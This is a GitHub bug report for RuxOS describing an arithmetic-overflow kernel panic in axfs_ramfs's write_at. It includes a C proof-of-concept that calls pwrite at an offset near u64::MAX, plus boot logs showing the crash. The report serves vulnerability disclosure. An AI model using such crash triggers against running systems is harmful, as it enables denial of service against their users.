Skip to content

Arithmetic overflow panic in axfs_ramfs::write_at when using large offsets #228

@nuczyc

Description

@nuczyc

Describe the bug

A panic occurs in the axfs_ramfs module when attempting to write to a file with an offset close to u64::MAX. The application crashes with attempt to add with overflow.

if offset + buf.len() > content.len() {

To Reproduce

  1. Compile the program and run.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>

/*
 * PoC for potential arithmetic overflow in RuxOS 9P filesystem write_at function
 * 
 * The crash occurs at:
 * /home/yuchen/RuxOS/ruxos/modules/rux9p/src/fs.rs:626:52
 * let wlen = match dev.twrite(*self.fid, offset + offset_ptr as u64, target_buf) {
 * 
 * Vulnerability: When offset + offset_ptr exceeds u64::MAX, an arithmetic overflow occurs
 * 
 * This PoC attempts to trigger the overflow by:
 * 1. Opening a file (preferably on 9P filesystem)
 * 2. Writing data at a very large offset close to u64::MAX
 * 3. The offset calculation in write_at will overflow
 * 
 * Note: This PoC targets the 9P filesystem implementation in RuxOS.
 * If running on a regular filesystem, the overflow might not be triggered
 * as the write operation may fail earlier in the VFS layer.
 */

int main() {
    const char *filename = "/tmp/test_file";
    const char *data = "trigger_overflow";
    int fd;
    ssize_t written;
    
    // Create/open test file
    fd = open(filename, O_CREAT | O_WRONLY | O_TRUNC, 0644);
    if (fd < 0) {
        perror("open failed");
        return 1;
    }
    
    printf("Attempting to trigger arithmetic overflow in 9P write_at function...\n");
    
    // Use a very large offset close to u64::MAX to trigger overflow
    // When offset_ptr is added to this in the Rust code, it will overflow
    off_t large_offset = (off_t)0xFFFFFFFFFFFFFFFELL; // Close to u64::MAX
    
    printf("Writing %zu bytes at offset 0x%llx\n", strlen(data), (unsigned long long)large_offset);
    
    // Attempt pwrite with large offset
    // This will eventually call write_at in the 9P filesystem implementation
    // where offset + offset_ptr may overflow
    written = pwrite(fd, data, strlen(data), large_offset);
    
    if (written < 0) {
        printf("pwrite failed: %s\n", strerror(errno));
        printf("This is expected if the filesystem doesn't support such large offsets\n");
        printf("or if overflow protection exists in upper layers\n");
    } else {
        printf("pwrite succeeded, wrote %zd bytes\n", written);
        printf("If running on RuxOS with 9P filesystem, this may have triggered the overflow\n");
    }
    
    // Also try with multiple writes to increase offset_ptr in the loop
    printf("\nAttempting multiple writes to increase offset_ptr...\n");
    
    for (int i = 0; i < 3; i++) {
        off_t offset = (off_t)0xFFFFFFFFFFFFFFFELL - i;
        written = pwrite(fd, data, strlen(data), offset);
        if (written < 0) {
            printf("Write %d failed: %s\n", i, strerror(errno));
            break;
        }
        printf("Write %d: %zd bytes at offset 0x%llx\n", i, written, (unsigned long long)offset);
    }
    
    close(fd);
    unlink(filename);
    
    return 0;
}

2.features.txt

alloc
paging
net
multitask
irq
fs

Environment

Logs

SeaBIOS (version 1.16.3-debian-1.16.3-2)


iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+7EFCAA40+7EF0AA40 CA00
                                                                               


Booting from ROM..
Initialize IDT & GDT...

8888888b.                     .d88888b.   .d8888b.
888   Y88b                   d88P" "Y88b d88P  Y88b
888    888                   888     888 Y88b.
888   d88P 888  888 888  888 888     888  "Y888b.
8888888P"  888  888 `Y8bd8P' 888     888     "Y88b.
888 T88b   888  888   X88K   888     888       "888
888  T88b  Y88b 888 .d8""8b. Y88b. .d88P Y88b  d88P
888   T88b  "Y88888 888  888  "Y88888P"   "Y8888P"

arch = x86_64
platform = x86_64-qemu-q35
target = x86_64-unknown-none
smp = 1
build_mode = debug
log_level = warn

[  0.187108 0 axfs_ramfs::dir:68] AlreadyExists sys
Attempting to trigger arithmetic overflow in 9P write_at function...
Writing 16 bytes at offset 0xfffffffffffffffe
[  0.188253 0:1 ruxruntime::lang_items:14] panicked at crates/axfs_ramfs/src/file.rs:73:12:
attempt to add with overflow

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions